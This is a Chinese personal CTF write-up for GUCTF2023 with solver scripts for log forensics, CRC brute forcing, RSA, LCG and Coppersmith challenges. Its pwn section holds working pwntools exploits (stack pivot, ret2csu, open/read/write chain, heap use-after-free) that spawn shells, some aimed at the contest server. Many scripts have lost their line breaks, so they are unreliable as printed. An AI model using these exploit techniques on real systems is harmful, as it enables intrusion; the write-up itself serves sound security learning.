本文主要是介绍中国地质大学(武汉)GUCTF2023 个人wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
misc
日志
vol入门
hide
其实这是一个密码题
取证
Crypto
sign in
easy lcg
too large too close
d^eRSA
math game
baby coppersmith
PWN
tinystack
easyrop
goodday
babyheap
Web
签到(ctrl+u)
2048
你会发请求吗?(套娃版)
简单的反序列化
uploadGIF
美丽的风景
RE
misc
日志
access.log文件,直接放http Logs Viewer
后面一大堆,有flag_is_here和数据库语句 关键点在%3E 这里在url里面是 > 猜测碰撞flag
蓝色请求成功代表成立,flag当前字符大于后面的数,红色代表小于等于,所以就找到最小的红色的值,即是flag当前字符
拿第一个字符102->f
vol入门
常规volatility操作
再直接搜索flag相关的文件
导出并查看
hide
打开压缩包伪加密,直接改掉
得到图片
有多余数据,且像是zip文件的开头将16进制倒置 ,脚本改写提取zip文件
f=open('1.zip','rb').read().hex()
f1=open('2.zip','wb')
f1.write(bytes.fromhex(f[::-1]))
f1.close()
得到2.zip
根据提示,10个txt都很小,直接crc爆破,常规脚本
import binascii
import stringdic=string.printable #打印出字符表
crc1=0xd1f4eb9a
crc2=0x8bd26c3b
crc3=0x7d7c7f30
crc4=0x7379c6f9
crc5=0x286ddabe
crc6=0x10f1c7f7
crc7=0x20929e30
crc8=0x6d43ceb1
crc9=0xb9931719
crc10=0x9dca2d94
for i in dic:for j in dic:for n in dic:for m in dic:s=i+j+n+mif(crc1==(binascii.crc32(s.encode()) & 0xffffffff)):text1=sif (crc2 == (binascii.crc32(s.encode()) & 0xffffffff)):text2=sif (crc3 == (binascii.crc32(s.encode()) & 0xffffffff)):text3=sif (crc4 == (binascii.crc32(s.encode()) & 0xffffffff)):text4=sif (crc5 == (binascii.crc32(s.encode()) & 0xffffffff)):text5=sif (crc6 == (binascii.crc32(s.encode()) & 0xffffffff)):text6=sif (crc7 == (binascii.crc32(s.encode()) & 0xffffffff)):text7=sif (crc8 == (binascii.crc32(s.encode()) & 0xffffffff)):text8=sif (crc9 == (binascii.crc32(s.encode()) & 0xffffffff)):text9=sif (crc10 == (binascii.crc32(s.encode()) & 0xffffffff)):text10=s
print(text1+text2+text3+text4+text5+text6+text7+text8+text9+text10)
其实这是一个密码题
lcg线性同余生成器,给了最后的生成值,也不知道多少轮,直接反向爆破吧
from Crypto.Util.number import *
a = 43798248949659222791171749814701375251386953112778818059426142042196784729546110280265474255124784663
b = 67018570458716007311613869769415126391582798116454957736011627730476546989736915778040708658246339029
n = 58081043724391657749577883588859613199507141826304361337439670229637195787417923180006982010749851369
c = 40904849198963854815658800812526105898970794808847365812530275438442053973006314034113219522626710705while 1:c=inverse(a,n)*(c-b) %nres=long_to_bytes(c)if res.startswith(b'flag{'):print(res)break
取证
[XMAN2018排位赛]file (看别人的吧,反正我是看的)
Crypto
sign in
提示p,q相近,直接yafu分解
考虑到这里e=5,q % e=0
根据hint:m << q ,直接在GF(q)下AMM算法
套用AMM脚本
n=156395142756741331173722757681441825750622829099903188895100381465994448733861049243997780219589816901101766037339606908045702538469475527195810709372177911586806898347545694228261031100304943359422511711442650291535090557928923472107779638478250733232925468277224748729899049485256624584502853160608972223017
c=26435013990782137269727302475711336413172439411450533367158617427147993546204648036608331513140236610831330051831415652704079371292042744901835065851232262198301028549935183570852918778701866022804033803876718286715863568756351727187631351859166144625097246667505215189671971186683551107723468405005974584717p = 12505804362644624834300890869175599803827453330185261203101130036418605131461284688813979278780654500415381216101183394341792280200980503788940591789081677
q = 12505804362644624834300890869175599803827453330185261203101130036418605131461284688813979278780654500415381216101183394341792280200980503788940591789081421
assert p*q==n
d=inverse(5,(p-1)*(q-1))
print((p-1)*(q-1))
print((pow(c,d-1,n)==1))
import random
import math
import libnum
import time
from Crypto.Util.number import bytes_to_long,long_to_bytes
p = 0
#设置模数
def GF(a):global pp = a
#乘法取模
def g(a,b):global preturn pow(a,b,p)def AMM(x,e,p):GF(p)y = random.randint(1, p-1)while g(y, (p-1)//e) == 1:y = random.randint(1, p-1)print(y)print("find")#p-1 = e^t*st = 1s = 0while p % e == 0:t += 1print(t)s = p // (e**t)print('e',e)print('p',p)print('s',s)print('t',t)# s|ralpha-1k = 1while((s * k + 1) % e != 0):k += 1alpha = (s * k + 1) // e#计算a = y^s b = x^s h =1#h为e次非剩余部分的积a = g(y, (e ** (t - 1) ) * s)b = g(x, e * alpha - 1)c = g(y, s)h = 1#for i in range(1, t-1):d = g(b,e**(t-1-i))if d == 1:j = 0else:j = -math.log(d,a)b = b * (g(g(c, e), j))h = h * g(c, j)c = g(c, e)#return (g(x, alpha * h)) % proot = (g(x, alpha * h)) % proots = set()for i in range(e):mp2 = root * g(a,i) %passert(g(mp2, e) == x)roots.add(mp2)return roots
def check(m):if 'flag' in m:print(m)return Trueelse:return Falsee = 5
mps = AMM(c %q,e,q)
for mpp in mps:solution = str(long_to_bytes(mpp))if check(solution):print(solution)
easy lcg
给了前6个连续的数
num1=90092106685061188487098602153613683384748187508467279003513560650774877299908
num2=557700820958060735650411491343254531024129787977422286147783278571981198841
num3=26501275991797325803455714097870960418786285182739413992908652810900121736196
num4=98171773751782376000100469078504674665579709037659843389529280725752616333924
num5=10465474859912710127031431405067143001439034601868241540204286471457140002763
num6=14478960129594180211193554132885640665770151257572696766298921450914588140530
再来一组同余式子就能求到n了,然后根据上面一样的推导求的seed
num1=90092106685061188487098602153613683384748187508467279003513560650774877299908
num2=557700820958060735650411491343254531024129787977422286147783278571981198841
num3=26501275991797325803455714097870960418786285182739413992908652810900121736196
num4=98171773751782376000100469078504674665579709037659843389529280725752616333924
num5=10465474859912710127031431405067143001439034601868241540204286471457140002763
num6=14478960129594180211193554132885640665770151257572696766298921450914588140530
#seed=
#得到的seed包上flag{}即为答案
n=math.gcd((num3-num2)**2-(num4-num3)*(num2-num1),(num4-num3)**2-(num5-num4)*(num3-num2))
assert isPrime(n)
seed=((num2-num1)**2 * inverse(num2-num3,n) + num1) %n
print(seed)
too large too close
先dp泄露解出hint
import gmpy2e = 65537n= 115530523110706441909979747279283408229637892838884282160206870100605868409657862412486542696904265187508497350682471738110301612065414538318989371874716350697227052563349014552162517741781326302669557799220593425291906772724435572222412159531480030308602218968708771315633359550417953584300315495397927474119
dp= 823357153050065820533356383839671991112696740687041656977067091045741022204046258511155630371437789605019293372312259425991657431857972475951700397995685
c = 16041598307371297796768388216694009917001307919536408797156404582886630809008350233909357010256593314778760804489632539390047328520958667002614791774175985453533386086196697784788679642142284580960521582879185102911046572034902364381905913115363768323599658782282507420418172601896771836056296019598407432359for x in range(1, e):if(e*dp%x==1):p=(e*dp-1)//x+1if(n%p!=0):continueq=n//pphin=(p-1)*(q-1)d=gmpy2.invert(e, phin)m=gmpy2.powmod(c, d, n)if(len(hex(m)[2:])%2==1):continueprint("m:",m)#print(hex(m)[2:])print("flag:",bytes.fromhex(hex(m)[2:]))
解出来 alpha=8
alpha=8
def gen_num(x):while True:x+=2if isPrime(x):breakreturn x
#
p = getPrime(512)
q = gen_num(p*alpha)
r = gen_num(q*alpha*2)
s = gen_num(r*alpha*4)
n = p**alpha * q**(alpha*2) * r**(alpha*4) * s**2
e = getPrime(2048)
c = pow(bytes_to_long(flag), e, n)
上面是近似关系
求得近似的p,然后在p附近爆破即可得到真正的p,然后常规RSA解法
(gen_num函数取下一个素数)
import gmpy2
from Crypto.Util.number import *
n = 46707356443343160604018031407589384665011954055204028295358021165048706462449274485534936922546560414500721360871592106711551652885754499561642226875363481004851061402921034728807657008890581141198279446216290394670764647337873732228136567777130415980280178284518253055165024691262321110817954149061894569746189979174090397254893293480798270530212823763019288467880752838986680052294787387764049629868813559426172041806816273642562087402728734491180714695996366400397816523413366473638067345685896839532966969010488276872408067337045170331556978816980157657858252211935799059186478202300602657897881360029189536301647803935553557817124990455994963545064164398669794021964420003967225637030983540697556343117789752631843149881428015004571119480895243670898532400481162537727611224762676648771349012741171932613144349664512028813387474782243478662287334229719995095597704015274404204460249083301616570835500163006030098267004612405715019829647648252858489294348900309781805160577393768611481113614580852522628986099987396621054206826743670387631851559496811940395159149541853114412826379687193401604138438281172574438476718525015633293370145512951787330177112833918384646999190377818595907857015489206004071334030724000603304878193489399323023644303936169264774111674004892731461749401621104869958848905782743979343584627958204732515542129989823192808626005097723267776191130312838199173707413882743631759679697603510792211401296207145280115939249111375852726067333042563568629473180726234737534047352997652305188450442822280499802556045636291387994743168734870290763394789282560254357522932675777805162215763047912215871198789177349471620753893998073404538911837601497249756150023567984966956558541843151263779554764547931315511335191349282293299147863597893927540057743780776164576767955292554806302737077016741034893561787839916741471864554350217428696663906270263006309044608033516389022531709063220493941330342733547728208803461462454533504672943317486463747194654984986101918110892412275581883203323442553765934939133599617200331079240887799720399132534912119862860194237913212730269389673791040905363796621360948475334947235716214395982029285082100439936894492952385872913985594039690905014510589930737138568776837222031282672647382271984836671305958475949366444973237080601209122305462403832483089534334332373917544895022921471855732236752258455693211452383147539556380575913772193768580853460977915880705842399690165045558250643002654508959602033152898207664532668895569608114664812102028651712211521858000907496964760086851002472769329517242101869101807706686172233524487370359059475784167250554265073862834684787133917623170496892433265170095916946237108956656454129029065193427657457615572979321469615572100829655232518226647798913694311969882068947625385960649740705783103315783270849504681703361444094077161374730318079881125955811380324369251214789673593232611273448613207029172951399554322981078592537254183479375048839889655346133571117848035276070284191644235363854053090695031831665128827753347369496937137743575495330637906991341883592090362614473080321583598943751841663554447446756883519560808976623862306840122168798778662344254248780068327708865928674260854154416090074545065732854613284436449406774318054287496577188943295897686827688979916525627019373298042983365705537311321420124046987613961826875397947986751213856602567446284245248933294586875905732332614895888268222305649631123077988221203832801025257240816019564094054276002587693633923905019114783689225836789920365377734015425519182156557541089333185762892446268499981124418161690772391368142117249339246044276554125117041592738286140928693322620046363108273168332693959060677442799537491261535108018660559571980467259914202221014458171919314637561229926695334417748215954193437439141276610943488361624073826460044365263830496993251025392695394125451322388853344855846792758463423750107574230510453745876556547611700771297655876182996626589410201879047978039851141853887160172761079186568591362748274398668785540479654544546279378517260091770538967115783713864831138545702708981303498146721279627837632688938608830217921824237566848416782328116367291192704678595878892214988894144728678673683830683634227584722287752047749185008255202856620416769570322088816056370322768659709750166372384820054494344139039389238415956756655211216282908049758547209358173818705135979264046558169531188664166385788723015750118581705775443473723404599226097732643226541732552871507331817567065622613543887432925953127340943276256376690347490020372969250303137500315083102936395354969682065384059368652106902337380841966988536404556915402413363473778423023903386397819335070723654928697040643440254310143058292102394491010676372663127898995832823986136180725351268637099592235943480449324853494550153249507962716734095994216615067987794129776689909896787750714572028910718041498501958867842779241321437692299308283668857501590948052750512790326322766989042466170251678116805710043960510148419092731448169323642932417245901381340996127789505718835245174352987807673595028301685178434441069969295971923511481650953103406510154280030140225384613009095729424401410696429234225726921801446423249812338366193569945926860731849330453993349376411014976636983530921201088014509769475693105506325319051863048214077549067224126131870212051006254133963867661330982089477837052494582670285937187612728889732022329286254030249310705530611129479644293135993110907596532882438266469382033563268453234334241210074761342166471198366314731049138776827868632761912966704432527011729208443746869549480834264540925212463758036539461572360256961839857250567468735217553281029569341231806965402823792548595057121884037172928394041293613006010313248076007046261285144289617660771023319620641337683853401937419145453539899602765059812797924286487413526367862343397837211335140283814924540380892427387597361002662882662121597491630904517208013102500918104507241622869545235010636513864021133519507223937391877555280823509610640083908483545416079855769481660348599380051514343367773006997746164271599596509436920694105241285821653152869832354956617953656078188096413051373750821868606141459380989005456278856751546393834117326874027571135151339997049412473915821138108020066006937038338844685591088772937699125763241365860855553490032624909642255994409283215745803089087772403054121256652197253846256770872790287650167092522849289380596813957074033654726077057480104217880835852859818869136894007834266859012470580610262277306509966682207555826254891835703355613213977153892925542220636200757930701951379549145742807196239668958298843149437878615163975302270496090938202756872454108947716553543474439025904139443485326360246329659520443463691070831693961534514718527011354660787525971471891286118012861082830767760802011604838005292815514815358532057888467154825172023916494890525325781520965068415541114900915407236204066671675167950180986608433349581099274341596346610543253491504424453827884390542361513745285022277322466010075662321914456360233587955081755399406978025803010943979823988707200760526491608089301644761076655961435085974721054662862039005953039628218766381207006498103690766091245871096455354663699639162835270457660760320302488836853212895002779759198346237701898319402489596509546925819594927055161470172912220048599866935549333234883367484030204821654051901007613454000692548084077069599713570064859352533984071407204280408994563160206355885325452731060126342505578241163069056120843165252241587712114241648012481920243554626935632850746556911460027019127560350479928222476190923856416336694592277019547563111176292610290835785207299568040806049212691682769577801434455080130083188662825787774713684440470658305373071280481062834774801480034835958466288066359960223771164361974416843222781849091725954083298123650335263957320865646440896702008000769154007122538124151878863844397333704448995140349830316512327978189952810439321415104537606862646191141252548217068628448810796103086775194059305176088799945739339352363097405382614633231301921912271726796125814622018110006265056887270210833225733433907135318187163167123867899040033576006938261562188983711760728144573703144105029660389725070515994456502431656862510500363445388663812165686285098378872767864906832786012637850411315752316731543707677239690732187626985869026965335660997935465493520699081004259117765009858516198274915403873841810346094600557543756118280786162723159015229112363470999916966333122618634693199466162611601254331769613173511341391952921508804684456898921632689440565586749859304100473973233487480041999824180190020194599597328114039422425981695424147373870617230706711439700003277193616922958130590793491523777985255457170416076237701236128032818488202772133229438007717738105461697144105108435534792813877863962753217152653192688409413989942947026205411466439394124042466199983861317976168982951279730304250165471450283477646355605621467884249544289267961296511294235679740947730251749244327953455832571945382626507072255746388113264024152718815538627705621375496683513065958045485306595729
c = 34784308986881335653255218818044088162591111924601932403685385208043645548702359281034699688039877753323517816906293641147496168568496534454476813487463312712544807282995733294033592482438068471620082196598256586353850469037136754890183813157511394032798487343680524592587324073439959315811781997951404883349839520799386554598351202156704457669386160071933106383831122641734438267743044988637335560934139631991014798974250290278396019720985255200674490264064155070923904174325267497741940523556798671059800074556157156469423855077914848501355041237627303331220328297591251135814503262219718383102742908481850779702241552569450070109768084129483518689073305978224738013651718326870349704766497290140476800561892041136150164676086442805674821498887103877291093381244002581337046950233768911722108844364532902965726123277385753947265419590936152054523939675175974209665824214601757617035535753984963102392280849891860746404098845528703959267895957226393910951717703643618771999791003662483269658638651111746795266831961385163012635649123782146445334273228891619514189400733183586582125106977669690768260008157951300093580970011189421182841382020562562793207643730724561064497809518256339265501096616299767544706392466991000399711224708812894595673798422308126974597021041237327028819027826005017451928347507493598965992261156602403931147462025431529527367365426039659870981615292698521443931019663986621683599826244410150906804204957797607964634220463876683415901329233166499099517618222357392155058444154365713964761070719640201222845441064131252332246593201267183050586223627274731588866819529287758590276932951693961252258185785439844218431680082091823593849448516749512770719193391602659379274372867730647791464661124165576143777824790321555757082732990504464987841973434545343862433369116411529067597273252086058671317170011627145522304599097471956285343223543869441519274747243902358118741843740251875882468362963366217952266027424600753816073157893292450798931109216147882359725054475865959114820837035682912546795021175448286037099752880857105971087775278614911241458921306552765613804840622877673616522396120856099264846062391153152029560176753454131323739916730803095005456291896232116538686018964259577518736361354124683186700070109269071046712335568694981653733971705027964087850860439415036984735506971161009384797972607514676441356964945355982587319912023410821228580907016375790057637860607776248163383016446285001589743353929200970686872322487584977839383695324779649171981840244218009733873144737731188250923148414826043017546652103954380434421045566937800489268878330368426695348526884062283076327930548969026098419890132724645498870624086095191037661166410860928925822598147761349030868586642437551037447363606530258213001599286504750439557594281735246970236211967825815597526699460858098174029446124841691342793911908217128752506401047725657183245492776923039952634674423699973562216786348568904517976430257742676881430027489402128529254811972970788330598120533464142831641304918773844491069814017111020665102371247718589557390650909592678819754631735851661425210483091405703468672960183487289108510873165586018272159515086461915661307607687889430720983727692888783965980513781646192277988866756316843393814937400188100626198935942535646069130045820907347564255892696730223373430314565632758656975586870069233156269486180047704904247560110815489998035092747108043076383894112547923042188081670219658973901172787704021046524996128914159235163782403724272518285382852886081947918013284690247083673863769439511284246868429851930386925045292489673159095114157715066294801152365589855906301649415569517455695651190554172626470943498868922082400802766208979856068257905547677949572348883649078067596588972175833489367271977308627637609071404928792070270829309477551380203172912765892816065237853544199960644259534992844578192943877324638506943155951042799822904930100184265344239606832225595887082554315130744882686641175241855607327442407165420395196166423332660274207584277470435397037279644294181126149876642457492695066270392042197264599341415565324748245012126638491477315647736121286695748817732431360329563122657976528758015546911159057487359601241243955103931601645493269220395489959853581049636742531190483717359430137388094605781933792171798010638760758760117529084908557574533559935903404656209983584971482752203401070702075042917994548246797275541508957444058237603100356251216048814180100516760396520918935399112518174383100236568451479761349929731767991999627794867115693508050601230971121962827876482155656785374726589425860310373524877884271178554431492660468750947603587603518722039252950793813228298494160660598130070199135362699778843361674950750602191174484934518709163683646850154061347750834907608353117125382055728053007027141320015034079889078230529182419818497363550057782492316685044807040299548188809509093576800158267087420300399029165309712462780140373618281459870212292587501151383707379869204850878095151434934848168319793005769060205310172167338120803944466376828123378975425470770815368332648588920154110238132111795601739634473364428432135059463352624113243557736559615479704254454422698560509981907424190392254121813898155520287988175689976307746127989691700814432904729464346075643515571673859974849053262326923293890056042939016006452377703788158550220284408726814448013089432166814037521450833382808537767061562380904060352315576479718738283845225379062027792739443810588069209443235469235625494183317536662469759608872722587001700776398221345414203676245480043940216983012410932069647661673082786975589936691659582052691912254989133223355523522650528338535644680267419596549945069266987689083179276388638893568691633934753667388744732834035631774875627594211611380006321380619305308192910965227854859475893387321755932503234784566627512933427967168372015620572712315603350446073984939455631619297577636432100765419903947383265163916711670153056466827262169649708038564902544019523854794411612482679577601232213237049409862445445293251962240901993716073769487111965055383371105620204652003534566194895237914186226791044843534810339872026062005603702538555422400196914654992617362722342349409512537136372818749825877133581626921214210227884584920610787801556114042360560396866108442262187390739635959014844321084678617196012659976988275518280976905397069524016816968797782203802462307811339631694547017675299208392385739190726560149060568497750378455068766420889333767895731810903149542791459464230923369414206521426727094997280142230625943601261845860762753742531206832358053808609110269420202473602492061311486974842436914093162363078366588365603090206040269594098933696791918250421927039723773032648452727187147960270333258909594884028031914938027703548688377213945536729577541570643897933856961416579039035442839733350204320822595177444625038173814827973427056277564928100590162568993444549867904083393638507866493041134559038610865143312959316277150875712073692749262216430564324265075587065993100376478895760960198667826970086039554513853639675218875618718173936739341966470451048407102376383328201648378413148235218015956199429450746112905754755274256043584431967764498892787300637367979157180611654001537946828978216629506155145053138713622575445773139586289668269500023911445184956527724605047196278570127041549078773174733981685089451700506793170763598974908328786601958646138006240077407781325068996253541840884879580695143085649864103262930275228190155466693501848352350393999221987749747565754342931330173548382447162332492037101602116938540508983951237646518223316015622874374685313378943154419118936398032523008284161999950954561791926299946403564191345762603659428809430034019659664605291921445892796542771896918931665881632314621542389145000116200933625495668671086946641745627582249340996829733409523520075707804958458360853516908045617764512058872254524501244027187978140415866804683774279789827182307232383534443659408040290216747649700676120012632466603272811282592365806875413887148231630603641025641644553322609479968518081878372194403639358250825398295963753374137115673523784970874054237619035292719561202282093596219595798843171756289011533345599029268583838561728394320485895826671409860825182813030707489632904350036262458121107360219107088183746158950428039498694480210338547362358337890615041974834421110658084006541433299390869589093992188750496179362653839833022858573628594456272648009919021956403043728111346618366292456789778767045428658480568188209871719776510467776836866291597135414876583569882190110929429394361121675720602629436298975531218934215993882436308206434501888356466944198338307148321392166628191969224594618223609165167237113427795995123106106018617555017542418666419913138748680236494031389555932606753399670944775421115103190149975533937201300422381298217699705146658141805827757052562626326517835453373044848671026669958907280216814155375418200947343546372310772264480489069483839666358042746755115714970960955528029563731551836369756791796834947404248167019466886854408542271361652893660315987507815929264934190682231285443
e = 24159838058937882046389322430790423480873816582183412870510916399668703657722259440727017874721625547091826573237211150561421252248109963512743611076528934821651143882051234229145298183745575634427784060243987557519975471797616331130756664105596474370558983945970107718496865982873571438262509992068199657054182863005958528160551287294463535336623518086966568772623772517668957143034942857412061952599570259495741120658753016627012532412049770653870735674300230038768904303396176643020490304058541269962132782969119244810713368872585732213306074586624558177795744257711461060041770954025732591641430908194746724836463
# print(1)
f=127314748520905380391777855525586135065716774604121015664758778084648831235208544136462336
assert 2**32 * 8**88==f
p=gmpy2.iroot(int(n//f),58)[0]
print(p)
while 1:p = p-1if isPrime(p):q = gen_num(p*alpha+1)r = gen_num(q*alpha*2+1)s = gen_num(r*alpha*4+1)if n == p**alpha * q**(alpha*2) * r**(alpha*4) * s**2:phi=p**(alpha-1)*(p-1)*q**(alpha*2-1)*(q-1)*r**(alpha*4-1)*(r-1)*s*(s-1)d=inverse(e,phi)print(long_to_bytes(pow(c,d,n)))break
d^eRSA
这里关键点是gcd(phi,n)=p
import mathfrom Crypto.Util.number import *
n= 803784422494351370167592813131170042963345555482165647967956492620962013217420982867541509298616048143427109418694118101975886429334668184599704528208350169952501368083389428121409963959588217864342810533458439012893022079292471592661309119780597567697815158389955245109531282084813514028430538452099738972947224500649814505038473612255356532480657940241873476885787144581357503919901873583698351869250700204237754589245567780940856354940496837340040687563379829
c= 265383216629013269176009696501594776505101990991571005345476657848573493624223343144501232451370306180351661916952909567590740719623287462598685126880672039093378374110356731020083473190112064178052477005916111265917684577730946759842186776257170720035280198867657120481263358615469612724902056646938527826723766046658609219033817714018386939011357828681408970744848467545738293842182678714991577804438839702153813546034787559747044969266005668111605453410867421
h= 526035042407827638767080948166756275192234386036611413820164089459256208443375647999045361445094296471369786663502664905640284076732752058952339829192647660913173800383398192895762385668985425950849805263399350233938962124460176299634862731357603442085158082699690846052498238666332645910480343340312000475675630022786935637468414155542306718730229191424259198734396956525322408893309190588908494415608371989374765463898410083731743334569876949949741279177413314
e = 65537p=math.gcd(e**e *h-1,n)
q=n//p**2phi=p*(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))
math game
二次项展开,只剩下n^2,n,1三项
展开解一元二次方程
baby coppersmith
hgamectf2023的题:RSA大冒险2,level3
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
leak = p >> 253
m = bytes_to_long(flag)
c = pow(m,e,n)print(n)
print(c)
print(leak)
p高位泄露,网上的板子用不了,上界不够。
看了App1e_Tree师傅的wp,这里要拔出coppersmith的源码。然后改参数。学到了新东西!
使用自带的small_roots算法p损失了低227位可以求解。
p损失了低244bit是上界,剩余(253-244)=9位即 2^9=512位,可以爆破,虽然很慢。
(可以记录一下这个方法)
n=155295249395108356853150695027729034147895415187101464287734860918817435168829442444576225565142824211480678129874830798802921359092852838628534450903672615612676376771266056959030865235374151244869535828010831690052146855441911726341603368502614992910374229472641078445325039583346632717397473799067913488123
c=137970875256869722271311341699733667335852658254529702796891400705307820890081266905098859171542834763717328245160797549404842884326090272807260422064978754232651057343803492482722837771271273007922964610282693631455675491782119313250470897085169769500093363383905822981645690406069033460531034221226821193699
leak=919113230093664977538171063560569888736023188943047469693793664861093757100098def coppersmith(pol, modulus, beta, h, t, X):n = d * h + tpolZ = pol.change_ring(ZZ)x = polZ.parent().gen()g = []for i in range(h):for j in range(d):g.append((x * X)**j * modulus**(h - i) * polZ(x * X)**i)for i in range(t):g.append((x * X)**i * polZ(x * X)**h)B = Matrix(ZZ, n)for i in range(n):for j in range(i+1):B[i, j] = g[i][j]B = B.LLL()new_pol = 0for i in range(n):new_pol += x**i * B[0, i] / X**ipotential_roots = new_pol.roots()roots = []for root in potential_roots:if root[0].is_integer():result = polZ(ZZ(root[0]))if gcd(modulus, result) >= modulus^beta:print("p: ",(gcd(modulus, result)))roots.append(ZZ(root[0]))return roots
N = n
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
#f = pbar + x
for i in range(0,2**9):print(i)pbar=((leak<<9)+i)<<244f=pbar + xbeta = 0.50d = f.degree()epsilon = beta / 45h = ceil(beta**2 / (d * epsilon))t = floor(d * h * ((1/beta) - 1))X = ceil(N**((beta**2/d) - epsilon))roots = coppersmith(f, N, beta, h, t, X)print(roots)
得到p,然后常规的RSA
PWN
tinystack
checksec
32位,NX保护
放ida32
简单的函数,输入两次,输出两次。溢出长度为8, 32位只能覆盖到返回地址,考虑栈迁移
第一次泄露地址,第二次布置rop链,迁移到s。
填满s,泄露出ebp地址,计算与s的偏移量。
显然偏移为0x38
有system函数,无需ret2libc,常规栈迁移
exp
from pwn import *
context.log_level='debug'
p=remote('202.114.194.178',11289)
elf=ELF('./tinystack')
system=elf.sym['system']
hack=0x804854bp.recv()
p.send(b'a'*40)
stack=u32(p.recvuntil(b'\xff')[-4:])-0x38payload=b'aaaa'+p32(system)+p32(0)+p32(stack+16)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')+p32(stack)+p32(0x080484b8)
p.sendline(payload)
p.recv()
p.interactive()
easyrop
checksec
NX保护
ida64打开
很显然是系统调用,栈溢出0x18个,而且一开始输入name到bss段,很显然栈迁移到name,然后布置rop链让 rdi='/bin/sh' rsi=0 rdx=0.gadget里面没有pop rdx,这里使用ret2csu方法完成寄存器赋值,并且进行系统调用syscall
然后rax要赋值为0x3b,这里通过控制下一个read到buf为0x3b个字节完成控制。同时要栈迁移,所以可以先栈迁移到bss再填充为0x3b字节,调用execve('/bin/sh\x00',0,0)
exp
from pwn import *
p=process('./easyrop')
#p=remote('202.114.194.178',11074)
p.recv()
context.log_level='debug'csu_one=0x40087a
csu_two=0x400860
syscall=0x40078a
leave=0x400815
bss=0x6010a0def ret_csu(r12, r13, r14, r15, last):payload=b'/bin/sh\x00'payload += p64(csu_one)payload += p64(0) + p64(1)payload += p64(r12)payload += p64(r13) + p64(r14) + p64(r15)payload += p64(csu_two)payload += p64(last)return payload
payload=ret_csu(bss+72,0,0,bss,syscall)
print(len(payload))
p.send(payload)
#gdb.attach(p)
p.recvuntil(b'it?\n')
payload=b'a'*0x20+p64(bss)+p64(leave)
p.send(payload.ljust(0x3b,b'a'))
p.interactive()
goodday
checksec
64位,NX保护
ida64
开启沙盒
禁用execve,溢出0x50字节,布置orw读写flag。
from pwn import *
p=process('./goodday')
#p=remote('202.114.194.178',10008)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./goodday')
context.log_level='debug'rdi=0x0000000000400843
rsi=0x0000000000400841
p.recv()
#puts(puts_got)
pay=b'a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)
p.sendline(pay)
leak=u64(p.recv(6)+b'\x00'*2)libc_base=leak-libc.sym['puts']
log.info(hex(libc_base))pay3=b'a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)
p.sendlineafter(b'man?\n',pay3)
p.send(b'/flag')pay1=b'a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)
p.sendlineafter(b'man?\n',pay1)
p.interactive()
这里有坑点,使用open函数怎么样都不行,改用系统调用就ok了
babyheap
checksec
32位,NX保护,看名字是堆题
运行一下
堆菜单题
new()
第一种存储方式
rec_int_print函数 | rec_int_free函数 | int类型数据 |
第二种
rec_int_print函数 | rec_int_free函数 | 新申请的堆的指针 |
new_heap size | data | data |
free函数
存在UAF漏洞
print函数
先动态调试一下看看堆里面的数据怎么存的
ok跟预期一样,这里存了两个函数指针。
执行rec_str_free的时候就是执行,rec_str_free(*0x95ed160),所以这里利用UAF漏洞将储存rec_str_free函数指针的chunk空间修改为system函数,然后将*0x95ed160指针所指向的chunk空间覆盖为"bash"或者"sh\x00\x00”,然后free(0)堆快即可拿到shell
先add chunk0(0x11)->chunk1(0x41) #index0
再add chunk2(0x11)->chunk3(0x41) #index1
add(0,0x30,b'a\n')
add(1,0x30,b'a\n')
add(2,0x30,b'a\n') #多申请一个防止与top chunk合并
再free(0),free(1)
free(0)
free(1)
bin:
0x11:chunk2->chunk0
0x41:chunk3->chunk1
然后add一个0x11大小的堆块,(一个add是申请两个堆块,一个为0x11,另一个大小自定)
申请到chunk2->chunk0 #index3
这是chunk0是可控的,然后就利用UAF漏洞修改指针,拿到shell
修改完成
拿到shell
完整exp
from pwn import *
from ctypes import *
from LibcSearcher import *def s(a):p.send(a)
def sa(a, b):p.sendafter(a, b)
def sl(a):p.sendline(a)
def sla(a, b):p.sendlineafter(a, b)
def r():p.recv()
def pr():print(p.recv())
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def debug():gdb.attach(p)pause()
def get_addr():return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))context(os='linux', arch='amd64', log_level='debug')
p = process('./babyheap')
#p = remote('202.114.194.178',10565)
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')
#libc = ELF('../glibc-all-in-one-master/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
#libc = ELF('./libc/libc13-2.27.so')
def add(index,size,value):sla(b'CNote > ', b'1')sla(b'Index > ', str(index).encode())sla(b'Type > ',b'2')sla(b'th > ', str(size).encode())sa(b'Value > ',value)def show(index):sla(b'CNote > ', b'3')sla(b'Index > ', str(index).encode())
def free(index):sla(b'CNote > ', b'2')sla(b'Index > ', str(index).encode())puts_str=0x80486deadd(0,0x30,b'a\n')
add(1,0x30,b'a\n')
add(2,0x30,b'a\n')
#debug()free(0)
free(1)#debug()
add(3,0xc,b'sh\x00\x00'+p32(elf.sym['system'])+b'\n')#debug()free(0)inter()
Web
签到(ctrl+u)
2048
ctrl+u拿到一半,另一半说玩到4096会给。
有js代码,可以先搜索有没有post什么php页面。发现没有,即纯js前端代码,另一半flag在在里面。这里直接搜索score,找到总分判断函数
拿去解密
拿到flag
你会发请求吗?(套娃版)
真套娃哈
简单的反序列化
include伪协议读文件
<?php
include "flag.php";class Connection
